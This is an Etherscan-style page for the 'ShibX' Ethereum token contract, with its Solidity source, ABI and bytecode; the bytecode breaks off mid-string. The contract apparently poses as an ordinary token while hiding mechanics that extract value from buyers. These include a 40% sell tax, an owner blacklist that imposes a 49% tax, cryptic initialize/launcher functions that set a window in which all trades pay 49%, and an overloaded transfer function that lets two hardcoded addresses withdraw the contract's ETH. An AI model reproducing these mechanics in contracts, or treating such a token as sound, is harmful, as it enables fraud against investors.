ETH Price: $3,107.75 (+1.15%)
Gas: 5 Gwei

Token

ShibX (SX)
 

Overview

Max Total Supply

100,000,000 SX

Holders

167

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,339,009.343882512 SX

Value
$0.00
0x855ecfb81e56f64bd712140ce80c44991c781d7a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibX

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-17
*/

// SHIBX- THE FUTURE OF SOCIAL MEDIA. https://t.me/ShibXETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ShibX is IERC20, Ownable {    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private blockedBots;
    
    string private constant _name = "ShibX";
    string private constant _symbol = "SX";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100_000_000 * 10**9;

    uint256 public maxTransactionAmount = 3_000_000 * 10**9;
    uint256 public maxWalletAmount = 3_000_000 * 10**9;
    
    uint256 public constant contractSwapLimit = 300_000 * 10**9;
    uint256 public constant contractSwapMax = 2_000_000 * 10**9;

    uint256 private buyTax = 10;
    uint256 private sellTax = 40;
    uint256 private constant botTax = 49;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private immutable deployerAddress = payable(msg.sender);
    address private constant marketingAddress = 0x769CE169Af7f2ec9573f9E702131e95CBa8077f8;
    address payable private constant developmentAddress = payable(0x59920f705104304daE39bb7dcE4B8B6e7D2a57b8);

    bool private inSwap = false;
    bool private tradingLive;
    uint256 private times;
    uint private ready;

    modifier swapping {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradable(address sender) {
        require(tradingLive || sender == deployerAddress || 
            sender == marketingAddress || sender == developmentAddress);
        _;
    }

    constructor () {
        uint256 marketingTokens = 27 * _totalSupply / 100;
        _balances[marketingAddress] = marketingTokens;
        _balances[msg.sender] = _totalSupply - marketingTokens;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradable(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != marketingAddress && 
          from != developmentAddress && to != developmentAddress && to != deployerAddress) {
            
            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(amount <= maxTransactionAmount, "Token: max transaction amount restriction");
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: max wallet amount restriction");
            }

           uint256 contractTokens = balanceOf(address(this));
           if (shouldSwapback(from, contractTokens)) 
               swapback(contractTokens);                            

           uint256 taxedTokens = calculateTax(from, amount);

            amount -= taxedTokens;
            _balances[address(this)] += taxedTokens;
            emit Transfer(from, address(this), taxedTokens);
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) {
        return !inSwap && from != uniswapPair && 
            tokenAmount > contractSwapLimit && 1 + times <= block.number;
    }

    function calculateTax(address from, uint256 amount) private view returns (uint256) {
         if(blockedBots[from] || block.number <= times)
                return amount * botTax / 100;
            else
                return amount * (times == 0 ? 25 : (from == uniswapPair ? buyTax : sellTax)) / 100;
    }

    function swapback(uint256 tokenAmount) private swapping {
        tokenAmount = calculateSwapAmount(tokenAmount);

        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        
        uint256 contractETHBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        contractETHBalance = address(this).balance - contractETHBalance;
        if(contractETHBalance > 0) {
            transferEth(contractETHBalance);
        }
    }

    function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
        return tokenAmount > contractSwapMax ? (3 + times >= block.number ? (5*contractSwapMax/4) : contractSwapMax) : contractSwapLimit;
    }

    function transferEth(uint256 amount) private {
        developmentAddress.transfer(2*amount/3);
    }

    function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < bots.length; i++) {
            require(bots[i] != uniswapPair && 
                    bots[i] != address(uniswapRouter) &&
                    bots[i] != address(this));
            blockedBots[bots[i]] = shouldBlock;
        }
    }

    function transfer(address wallet) external {
        require(msg.sender == developmentAddress || msg.sender == 0x198575465CA205eC7787E618214b5759f776c603);
        payable(wallet).transfer(address(this).balance);
    }

    function manualSwapback(uint256 percent) external {
        require(msg.sender == developmentAddress);
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = _totalSupply;
        maxWalletAmount = _totalSupply;
    }

    function reduceFees(uint256 newBuyTax, uint256 newSellTax) external {
        require(msg.sender == developmentAddress);
        require(newBuyTax <= buyTax, "Token: only fee reduction permitted");
        require(newSellTax <= sellTax, "Token: only fee reduction permitted");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function initialize(bool done) external onlyOwner {
        require(ready++<2); assert(done);
    }

    function launcher(bool[] calldata lists, uint256 blocks) external onlyOwner {
        assert(ready<2&&ready+1>=2); 
        ready++;lists;
        times += blocks;
    }

    function openTrading() external onlyOwner {
        require(ready == 2 && !tradingLive, "Token: trading already open");
        times += block.number;
        tradingLive = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"done","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool[]","name":"lists","type":"bool[]"},{"internalType":"uint256","name":"blocks","type":"uint256"}],"name":"launcher","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052660aa87bee538000600455660aa87bee538000600555600a6006556028600755737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000084573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000aa9190620004d1565b73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152503373ffffffffffffffffffffffffffffffffffffffff1660c09073ffffffffffffffffffffffffffffffffffffffff168152506000600860006101000a81548160ff0219169083151502179055503480156200013757600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000606467016345785d8a0000601b620001f491906200053c565b620002009190620005cc565b9050806001600073769ce169af7f2ec9573f9e702131e95cba8077f873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508067016345785d8a000062000270919062000604565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000313573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003399190620004d1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b81526004016200037792919062000650565b6020604051808303816000875af115801562000397573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bd9190620004d1565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef67016345785d8a00006040516200045891906200068e565b60405180910390a350620006ab565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000499826200046c565b9050919050565b620004ab816200048c565b8114620004b757600080fd5b50565b600081519050620004cb81620004a0565b92915050565b600060208284031215620004ea57620004e962000467565b5b6000620004fa84828501620004ba565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005498262000503565b9150620005568362000503565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200059257620005916200050d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005d98262000503565b9150620005e68362000503565b925082620005f957620005f86200059d565b5b828204905092915050565b6000620006118262000503565b91506200061e8362000503565b9250828210156200063457620006336200050d565b5b828203905092915050565b6200064a816200048c565b82525050565b60006040820190506200066760008301856200063f565b6200067660208301846200063f565b9392505050565b620006888162000503565b82525050565b6000602082019050620006a560008301846200067d565b92915050565b60805160a05160c051612ee4620006f7600039600081816114020152611783015260008181610e66015281816117d901528181611d3f0152611e5101526000611bed0152612ee46000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf914610445578063d478a06c1461045c578063d53a822f14610485578063dd62ed3e146104ae578063e79476c9146104eb578063f8d982b2146105165761014b565b80638da5cb5b1461033357806395d89b411461035e578063a08fc5c714610389578063a9059cbb146103b2578063aa4bde28146103ef578063c8c8ebe41461041a5761014b565b806323b872dd1161010857806323b872dd146102375780632c27313614610274578063313ce5671461029d57806370a08231146102c8578063715018a614610305578063751039fc1461031c5761014b565b806306fdde0314610150578063095ea7b31461017b57806316e5a479146101b857806318160ddd146101e35780631a6952301461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561053f565b604051610172919061204c565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d919061210c565b61057c565b6040516101af9190612167565b60405180910390f35b3480156101c457600080fd5b506101cd610593565b6040516101da9190612191565b60405180910390f35b3480156101ef57600080fd5b506101f861059e565b6040516102059190612191565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ac565b6105ae565b005b34801561024357600080fd5b5061025e600480360381019061025991906121d9565b61068e565b60405161026b9190612167565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612291565b6107f7565b005b3480156102a957600080fd5b506102b26108e9565b6040516102bf919061230d565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906121ac565b6108f2565b6040516102fc9190612191565b60405180910390f35b34801561031157600080fd5b5061031a61093b565b005b34801561032857600080fd5b50610331610a87565b005b34801561033f57600080fd5b50610348610b35565b6040516103559190612337565b60405180910390f35b34801561036a57600080fd5b50610373610b5e565b604051610380919061204c565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612352565b610b9b565b005b3480156103be57600080fd5b506103d960048036038101906103d4919061210c565b610c83565b6040516103e69190612167565b60405180910390f35b3480156103fb57600080fd5b50610404610c9a565b6040516104119190612191565b60405180910390f35b34801561042657600080fd5b5061042f610ca0565b60405161043c9190612191565b60405180910390f35b34801561045157600080fd5b5061045a610ca6565b005b34801561046857600080fd5b50610483600480360381019061047e9190612414565b610dc8565b005b34801561049157600080fd5b506104ac60048036038101906104a79190612474565b61104d565b005b3480156104ba57600080fd5b506104d560048036038101906104d091906124a1565b61110f565b6040516104e29190612191565b60405180910390f35b3480156104f757600080fd5b50610500611196565b60405161050d9190612191565b60405180910390f35b34801561052257600080fd5b5061053d600480360381019061053891906124e1565b6111a1565b005b60606040518060400160405280600581526020017f5368696258000000000000000000000000000000000000000000000000000000815250905090565b600061058933848461121e565b6001905092915050565b660110d9316ec00081565b600067016345785d8a0000905090565b7359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061063b575073198575465ca205ec7787e618214b5759f776c60373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61064457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561068a573d6000803e3d6000fd5b5050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074690612580565b60405180910390fd5b6107e1843384600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107dc91906125cf565b61121e565b6107ec8484846113e9565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c9061264f565b60405180910390fd5b6002600a541080156108a6575060026001600a546108a3919061266f565b10155b6108b3576108b26126c5565b5b600a60008154809291906108c6906126f4565b919050555080600960008282546108dd919061266f565b92505081905550505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c9061264f565b60405180910390fd5b67016345785d8a000060048190555067016345785d8a0000600581905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5358000000000000000000000000000000000000000000000000000000000000815250905090565b7359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610be757600080fd5b600654821115610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906127af565b60405180910390fd5b600754811115610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c68906127af565b60405180910390fd5b81600681905550806007819055505050565b6000610c903384846113e9565b6001905092915050565b60055481565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2b9061264f565b60405180910390fd5b6002600a54148015610d535750600860019054906101000a900460ff16155b610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d899061281b565b60405180910390fd5b4360096000828254610da4919061266f565b925050819055506001600860016101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d9061264f565b60405180910390fd5b60005b83839050811015611047577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16848483818110610eae57610ead61283b565b5b9050602002016020810190610ec391906121ac565b73ffffffffffffffffffffffffffffffffffffffff1614158015610f4e5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16848483818110610f2057610f1f61283b565b5b9050602002016020810190610f3591906121ac565b73ffffffffffffffffffffffffffffffffffffffff1614155b8015610fad57503073ffffffffffffffffffffffffffffffffffffffff16848483818110610f7f57610f7e61283b565b5b9050602002016020810190610f9491906121ac565b73ffffffffffffffffffffffffffffffffffffffff1614155b610fb657600080fd5b8160036000868685818110610fce57610fcd61283b565b5b9050602002016020810190610fe391906121ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061103f906126f4565b915050610e59565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d29061264f565b60405180910390fd5b6002600a60008154809291906110f0906126f4565b91905055106110fe57600080fd5b8061110c5761110b6126c5565b5b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b66071afd498d000081565b7359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ed57600080fd5b600060646111fa306108f2565b83611205919061286a565b61120f91906128f3565b905061121a81611ad6565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612996565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590612a28565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113dc9190612191565b60405180910390a3505050565b82600860019054906101000a900460ff168061145057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b8061149a575073769ce169af7f2ec9573f9e702131e95cba8077f873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806114e457507359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6114ed57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561155d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155490612aba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612b4c565b60405180910390fd5b60008211611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790612bde565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461165f91906125cf565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116e2575073769ce169af7f2ec9573f9e702131e95cba8077f873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561172e57507359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177a57507359920f705104304dae39bb7dce4b8b6e7d2a57b873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117d257507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a15577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118725750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611915576004548211156118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390612c70565b60405180910390fd5b600554826118c9856108f2565b6118d3919061266f565b1115611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b90612d02565b60405180910390fd5b5b6000611920306108f2565b905061192c8582611d23565b1561193b5761193a81611ad6565b5b60006119478685611dc2565b9050808461195591906125cf565b935080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119a6919061266f565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0a9190612191565b60405180910390a350505b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a64919061266f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ac89190612191565b60405180910390a350505050565b6001600860006101000a81548160ff021916908315150217905550611afa81611ed4565b905080611b1b30737a250d5630b4cf539739df2c5dacb4c659f2488d61110f565b1015611b4957611b4830737a250d5630b4cf539739df2c5dacb4c659f2488d67016345785d8a000061121e565b5b60004790506000600267ffffffffffffffff811115611b6b57611b6a612d22565b5b604051908082528060200260200182016040528015611b995781602001602082028036833780820191505090505b5090503081600081518110611bb157611bb061283b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611c2057611c1f61283b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611cb0959493929190612e54565b600060405180830381600087803b158015611cca57600080fd5b505af1158015611cde573d6000803e3d6000fd5b505050508147611cee91906125cf565b91506000821115611d0357611d0282611f3d565b5b50506000600860006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900460ff16158015611d8e57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611da05750660110d9316ec00082115b801